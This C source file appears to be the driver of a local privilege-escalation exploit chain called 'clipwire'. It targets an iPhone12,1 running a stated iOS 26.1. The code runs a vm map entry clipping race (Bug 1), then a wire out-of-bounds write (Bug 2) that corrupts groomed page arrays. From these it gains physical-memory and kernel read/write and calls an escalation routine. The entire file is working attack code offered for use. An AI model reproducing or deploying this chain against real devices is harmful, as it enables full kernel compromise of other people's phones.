#include "clipwire.h"

/* ------------------------------------------------------------------ */
/* Orchestration: Bug 1 (clip race) -> corrupted entry -> Bug 2        */
/* (wire OOB) -> phys primitive -> kread/kwrite -> escalation.         */
/*                                                                    */
/* Slide is leaked slide-independently inside escalate() by scanning   */
/* phys for the kernel image; no separate info leak is required once    */
/* the phys primitive is live. CLIPWIRE_SLIDE / kern.slide are only     */
/* fallbacks for pre-primitive validation runs.                        */
/* ------------------------------------------------------------------ */

static bool g_have_primitive = false;
static U64 g_primitive_kind = 0;   /* 1 = wire-oob + phys alias       */

static bool stage_race(cow_map_t *m, U64 *cstart, U64 *cend)
{
    for (int attempt = 0; attempt < RACE_ATTEMPTS; attempt++) {
        LOGWARN("race attempt %d/%d", attempt + 1, RACE_ATTEMPTS);

        if (!cow_map_setup(m)) return false;
        drain_entry_freelist();

        U64 cs = 0, ce = 0;
        if (run_clip_race(m, &cs, &ce)) {
            *cstart = cs;
            *cend = ce;
            LOGOK("Bug 1 landed: entry [%#llx, %#llx) marked corrupt", cs, ce);
            return true;
        }

        cow_map_teardown(m);
        LOGWARN("no corruption this attempt - retrying");
        nsleep(100 * 1000 * 1000);
    }
    return false;
}

static bool stage_wire(U64 start, U64 end)
{
    wire_result_t r;
    for (int attempt = 0; attempt < WIRE_ATTEMPTS; attempt++) {
        LOGWARN("wire attempt %d/%d over [%#llx,%#llx)", attempt + 1, WIRE_ATTEMPTS, start, end);
        if (run_wire_oob(start, end, &r)) {
            if (r.oob_count > 0) {
                LOGOK("wire-OOB primed: %llu pages written", r.oob_count);
                int groom_hit = verify_wire_landed(&r);
                if (groom_hit >= 0) {
                    LOGOK("wire-OOB landed on groom[%d] - page array corrupted", groom_hit);
                    if (!prim_establish()) {
                        LOGBAD("prim_establish failed after groom hit");
                        return false;
                    }
                    g_have_primitive = true;
                    g_primitive_kind = 1;

                    /* controlled single-slot OOB write: advance the
                     * overwritten array slot by one page and re-verify. */
                    U64 written = 0;
                    if (!wire_oob_write((U64)groom_hit, &written)) {
                        LOGWARN("single-slot OOB advance not observed (groom[%d] may already be aliasing)", groom_hit);
                    }
                    return true;
                }
                if (groom_hit == -2) {
                    LOGOK("wire-OOB landed on surf[%d] - phys-window page array corrupted",
                          wire_victim_surf());
                    if (!prim_establish()) {
                        LOGBAD("prim_establish failed after surf hit");
                        return false;
                    }
                    g_have_primitive = true;
                    g_primitive_kind = 2;
                    return true;
                }
                LOGWARN("wire succeeded but no groom/surf object observably hit (window?)");
            }
        }
        nsleep(50 * 1000 * 1000);
    }
    return false;
}

int run_exploit(void)
{
    clipwire_init();

    LOGOK("clipwire for iPhone12,1 / iOS 26.1 (23B85)");
    LOG("kernel __text base (slide=%#llx): %#llx", g_kern_slide, g_kern_base);
    if (!check_target()) return 1;

    if (!wire_setup_objects()) {
        LOGBAD("failed to groom phys-contiguous objects");
        return 1;
    }

    cow_map_t m;
    U64 cstart = 0, cend = 0;

    if (!stage_race(&m, &cstart, &cend)) {
        LOGBAD("Bug 1 (clip race) did not land after %d attempts", RACE_ATTEMPTS);
        wire_teardown_objects();
        return 2;
    }

    if (!stage_wire(cstart, cend)) {
        LOGBAD("Bug 2 (wire OOB) did not land");
        cow_map_teardown(&m);
        wire_teardown_objects();
        return 3;
    }

    LOGOK("chain complete: clip corruption + wire OOB (primitive kind %llu, active=%d)",
          g_primitive_kind, (int)g_have_primitive);

    /* The corrupted vm_map_entry backing the primitive must stay alive
     * while escalate() reads/writes through it. */
    escalate();
    cow_map_teardown(&m);

    wire_teardown_objects();
    report_status("chain", 0);
    return 0;
}

void report_status(const char *stage, int rc)
{
    LOG("stage '%s' rc=%d", stage, rc);
}
